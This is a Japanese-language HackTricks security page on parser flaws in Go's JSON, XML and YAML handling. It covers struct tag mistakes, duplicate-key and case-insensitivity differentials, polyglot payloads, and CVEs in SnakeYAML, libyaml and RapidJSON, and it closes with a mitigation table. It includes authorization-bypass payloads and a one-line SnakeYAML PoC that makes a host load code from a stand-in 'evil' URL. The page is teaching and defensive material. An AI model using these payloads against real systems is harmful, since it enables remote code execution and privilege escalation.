JSON, XML & Yaml Hacking & Issues

Reading time: 9 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Go JSON デコーダ

Go JSON で以下の問題が検出されましたが、他の言語にも存在する可能性があります。これらの問題はこのブログ投稿で公開されました。

Go の JSON、XML、および YAML パーサーには、一貫性のない長い履歴と、安全でないデフォルトがあり、これを悪用して認証をバイパスしたり、権限を昇格させたり、機密データを抽出したりすることができます。

(Un)Marshaling 予期しないデータ

目的は、攻撃者が機密フィールド(例:IsAdminPassword)を読み書きできる構造体を悪用することです。

  • 例の構造体:
go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • 一般的な脆弱性
  1. タグが欠落している (タグなし = フィールドはデフォルトでまだ解析される):
go
type User struct {
Username string
}

ペイロード:

json
{"Username": "admin"}
  1. -の誤った使用:
go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

ペイロード:

json
{"-": true}

✔️ フィールドを(アン)マーシャルされないようにブロックする正しい方法:

go
type User struct {
IsAdmin bool `json:"-"`
}

パーサーの差異

目的は、異なるパーサーが同じペイロードを異なって解釈する方法を利用して認証をバイパスすることです。例えば:

  • CVE-2017-12635: 重複キーによるApache CouchDBのバイパス
  • 2022: XMLパーサーの不整合によるZoomの0クリックRCE
  • GitLab 2025 SAMLのバイパスによるXMLの特異性

1. 重複フィールド: Goのencoding/json最後のフィールドを取ります。

go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

他のパーサー(例:JavaのJackson)は最初を取るかもしれません。

2. 大文字小文字の区別: Goは大文字小文字を区別しません:

go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

ユニコードトリックも機能します:

go
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. クロスサービスの不一致: 想像してみてください:

  • Goで書かれたプロキシ
  • Pythonで書かれたAuthZサービス

攻撃者が送信します:

json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • PythonはUserActionを認識し、それを許可します
  • GoはAdminActionを認識し、それを実行します

データフォーマットの混乱 (ポリグロット)

目的は、フォーマット(JSON/XML/YAML)を混在させるシステムを悪用すること、またはパーサーエラーでオープンに失敗するシステムを悪用することです。例えば:

  • CVE-2020-16250: HashiCorp Vaultは、STSがXMLの代わりにJSONを返した後、XMLパーサーでJSONを解析しました。

攻撃者が制御するもの:

  • Accept: application/json ヘッダー
  • JSONボディの部分的な制御

GoのXMLパーサーはそれをとにかく解析し、注入されたアイデンティティを信頼しました。

  • 作成されたペイロード:
json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
  • Go JSON パーサー: Action_2 (大文字小文字を区別しない + 最後が勝つ)
  • YAML パーサー: Action_1 (大文字小文字を区別する)
  • XML パーサー: 文字列内の "Action_3" を解析する

注目すべきパーサーの脆弱性 (2023-2025)

次の公に悪用可能な問題は、安全でないパースが多言語の問題であることを示しています — 単なるGoの問題ではありません。

SnakeYAML デシリアライズ RCE (CVE-2022-1471)

  • 影響を受ける: org.yaml:snakeyaml < 2.0 (Spring-Boot、Jenkinsなどで使用される)。
  • 根本原因: new Constructor()任意のJavaクラス をデシリアライズし、リモートコード実行に至るガジェットチェーンを可能にします。
  • ワンライナー PoC (脆弱なホストで計算機を開きます):
yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • 修正 / 緩和策:
  1. ≥2.0にアップグレード(デフォルトでSafeLoaderを使用)。
  2. 古いバージョンでは、明示的にnew Yaml(new SafeConstructor())を使用。

libyaml ダブルフリー (CVE-2024-35325)

  • 影響: libyaml ≤0.2.5(多くの言語バインディングで利用されるCライブラリ)。
  • 問題: yaml_event_delete()を2回呼び出すとダブルフリーが発生し、攻撃者がこれをDoSや、場合によってはヒープの悪用に変えることができる。
  • ステータス: 上流は「APIの誤用」として拒否したが、Linuxディストリビューションはポインタを防御的にnull-freeにするパッチを当てた0.2.6を出荷した。

RapidJSON 整数 (アンダー|オーバー) フロー (CVE-2024-38517 / CVE-2024-39684)

  • 影響: Tencent RapidJSON コミット8269bc2以前(<1.1.0-patch-22)。
  • バグ: GenericReader::ParseNumber()での未チェックの算術演算により、攻撃者が巨大な数値リテラルを作成し、それがラップアラウンドしてヒープを破損させる — 最終的に、結果として得られるオブジェクトグラフが認可決定に使用されるときに特権昇格を可能にする。

🔐 緩和策 (更新)

リスク修正 / 推奨事項
不明なフィールド (JSON)decoder.DisallowUnknownFields()
重複フィールド (JSON)❌ stdlibに修正なし — jsoncheckで検証
大文字小文字を区別しない一致 (Go)❌ 修正なし — 構造体タグを検証 + 入力を事前正規化
XML ゴミデータ / XXE強化されたパーサーを使用 (encoding/xml + DisallowDTD)
YAML 不明なキーyaml.KnownFields(true)
安全でない YAML デシリアライズSafeConstructorを使用 / SnakeYAML ≥2.0にアップグレード
libyaml ≤0.2.5 ダブルフリー0.2.6またはディストリビューションパッチ済みリリースにアップグレード
RapidJSON <パッチ済みコミット最新のRapidJSON(≥2024年7月)に対してコンパイル

参考文献

  • Baeldung – “SnakeYAML 2.0でCVE-2022-1471を解決する”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする